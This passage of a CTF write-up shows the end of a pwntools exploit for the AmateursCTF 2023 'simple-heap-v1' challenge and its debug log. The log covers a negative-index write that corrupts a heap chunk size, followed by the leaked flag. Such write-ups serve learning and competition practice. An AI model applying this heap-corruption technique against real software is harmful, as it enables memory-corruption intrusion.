p.sendlineafter(':', new_char)
p.sendlineafter(':', str(0xa0))
p.sendafter(':', b'C' * 0xa0)

p.interactive()
[*] '/home/t3mp/ctf/AmateursCTF_2023/simple-heap-v1/simple-heap-v1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to amt.rs on port 31176: Done
/home/t3mp/ctf/AmateursCTF_2023/simple-heap-v1/./exp.py:29: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(':', str(0x8))
/home/t3mp/.local/lib/python3.11/site-packages/pwnlib/tubes/tube.py:823: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x1b bytes:
    b'Welcome to the flag checker'
[DEBUG] Received 0x7 bytes:
    b'\n'
    b'size: '
[DEBUG] Sent 0x2 bytes:
    b'8\n'
/home/t3mp/.local/lib/python3.11/site-packages/pwnlib/tubes/tube.py:813: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x6 bytes:
    b'data: '
[DEBUG] Sent 0x8 bytes:
    b'A' * 0x8
/home/t3mp/ctf/AmateursCTF_2023/simple-heap-v1/./exp.py:31: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(':', str(0x10))
[DEBUG] Received 0x2d bytes:
    b"I'll give you three chances to guess my flag."
[DEBUG] Received 0x7 bytes:
    b'\n'
    b'size: '
[DEBUG] Sent 0x3 bytes:
    b'16\n'
[DEBUG] Received 0x6 bytes:
    b'data: '
[DEBUG] Sent 0x10 bytes:
    b'B' * 0x10
/home/t3mp/ctf/AmateursCTF_2023/simple-heap-v1/./exp.py:35: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(':', str(index))
[DEBUG] Received 0x22 bytes:
    b'BBBBBBBBBBBBBBBB is not the flag.\n'
[DEBUG] Received 0x2e bytes:
    b"I'll also let you change one character\n"
    b'index: '
[DEBUG] Sent 0x3 bytes:
    b'-8\n'
[DEBUG] Received 0xf bytes:
    b'new character: '
[DEBUG] Sent 0x2 bytes:
    00000000  b0 0a                                               │··│
    00000002
/home/t3mp/ctf/AmateursCTF_2023/simple-heap-v1/./exp.py:37: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(':', str(0xa0))
[DEBUG] Received 0x22 bytes:
    b'BBBBBBBBBBBBBBBB is not the flag.\n'
[DEBUG] Received 0x23 bytes:
    b'Last chance to guess my flag\n'
    b'size: '
[DEBUG] Sent 0x4 bytes:
    b'160\n'
[DEBUG] Received 0x6 bytes:
    b'data: '
[DEBUG] Sent 0xa0 bytes:
    b'C' * 0xa0
[*] Switching to interactive mode
 [DEBUG] Received 0xb2 bytes:
    b'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCflag{wh0_kn3w_y0u_c0uld_unm4p_th3_libc}CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC is not the flag.\n'
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCflag{wh0_kn3w_y0u_c0uld_unm4p_th3_libc}CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC is not the flag.
[DEBUG] Received 0x20 bytes:
    b'munmap_chunk(): invalid pointer\n'
munmap_chunk(): invalid pointer
[*] Got EOF while reading in interactive

Flag: flag{wh0_kn3w_y0u_c0uld_unm4p_th3_libc}